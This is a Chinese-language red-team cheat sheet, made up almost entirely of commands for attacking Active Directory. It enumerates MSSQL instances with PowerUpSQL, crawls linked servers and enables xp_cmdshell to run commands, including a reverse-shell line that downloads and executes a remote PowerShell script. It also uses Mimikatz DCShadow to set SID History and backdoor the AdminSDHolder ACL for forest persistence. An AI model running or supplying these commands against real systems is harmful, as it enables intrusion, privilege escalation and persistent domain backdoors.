#### 前置条件
#### PowerUpSQL:
```
. .\PowerUpSQL.ps1
```
链接:[PowerUpSQL](https://github.com/NetSPI/PowerUpSQL)
软件:[HeidiSQL 客户端](https://github.com/HeidiSQL/HeidiSQL)
**1. 枚举:**
```
# Discovery (SPN Scanning)
Get-SQLInstanceDomain
# 带有 Info 和 Verbose 模式的 Discovery (SPN Scanning)
Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose
# 检查可访问性
Get-SQLConnectionTestThreaded
# 检查可访问性
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
```
**2. 数据库链接:**
```
# 搜索 Database Links
Get-SQLServerLink -Instance dcorp-mssql -Verbose
# 枚举 Database Links
Get-SQLServerLinkCrawl -Instance dcorp-mssql -Verbose
```
```
# 搜索 Database Links
select * from master..sysservers
# 枚举 Database Links
select * from openquery("dcorp-sql1",'select * from openquery("dcorp-mgmt",''select * from master..sysservers'')')
```
**3. 命令执行:**
```
# 命令:whoami
Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query "exec master..xp_cmdshell 'whoami'" | ft
# Reverse Shell
Get-SQLServerLinkCrawl -Instance dcorp-mssql.corp.corporate.local -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http:///Invoke-PowerShellTcp.ps1'')"'
```
```
# 启用 xp_cmdshell
EXECUTE('sp_configure "xp_cmdshell",1;reconfigure;') AT "eu-sql"
# 命令:whoami
select * from openquery("dcorp-sql1",'select * from openquery("dcorp-mgmt","select * from openquery("eu-sql.eu.corporate.local",""select@@version as version;exec master..xp_cmdshell "powershell whoami)"")")')
```
# Forest 持久化 DCShadow
**1. 设置权限:**
```
# 设置权限
Set-DCShadowPermissions -FakeDC corp-user1 -SAMAccountName root1user -Username user1 -Verbose
```
**2. 使用 Mimikatz 发起 DCShadow 攻击:**
```
# 为用户设置 SPN
lsadump::dcshadow /object:TargetUser /attribute:servicePrincipalName /value:"SuperHacker/ServicePrincipalThingey"
# 为用户设置 SID History
lsadump::dcshadow /object:TargetUser /attribute:SIDHistory /value:S-1-5-21-280565432-1493477821-700767426-345
# 需要检索当前的 ACL:
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=AdminSDHolder,CN=System,DC=targetdomain,DC=com")).psbase.ObjectSecurity.sddl
# 然后获取目标用户 SID:
Get-NetUser -UserName BackdoorUser | select objectsid
# 为用户添加 full control primitive
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=targetdomain,DC=com /attribute:ntSecurityDescriptor /value:O:DAG:DAD:PAI(A;;LCRPLORC;;;AU)[...currentACL...](A;;CCDCLCSWRPWPLOCRRCWDWO;;;[[S-1-5-21-280565432-1493477821-700767426-345]])
```
标签:AI合规, IPv6, OpenCanary, PowerShell, Terraform 安全, Web报告查看器, 活动目录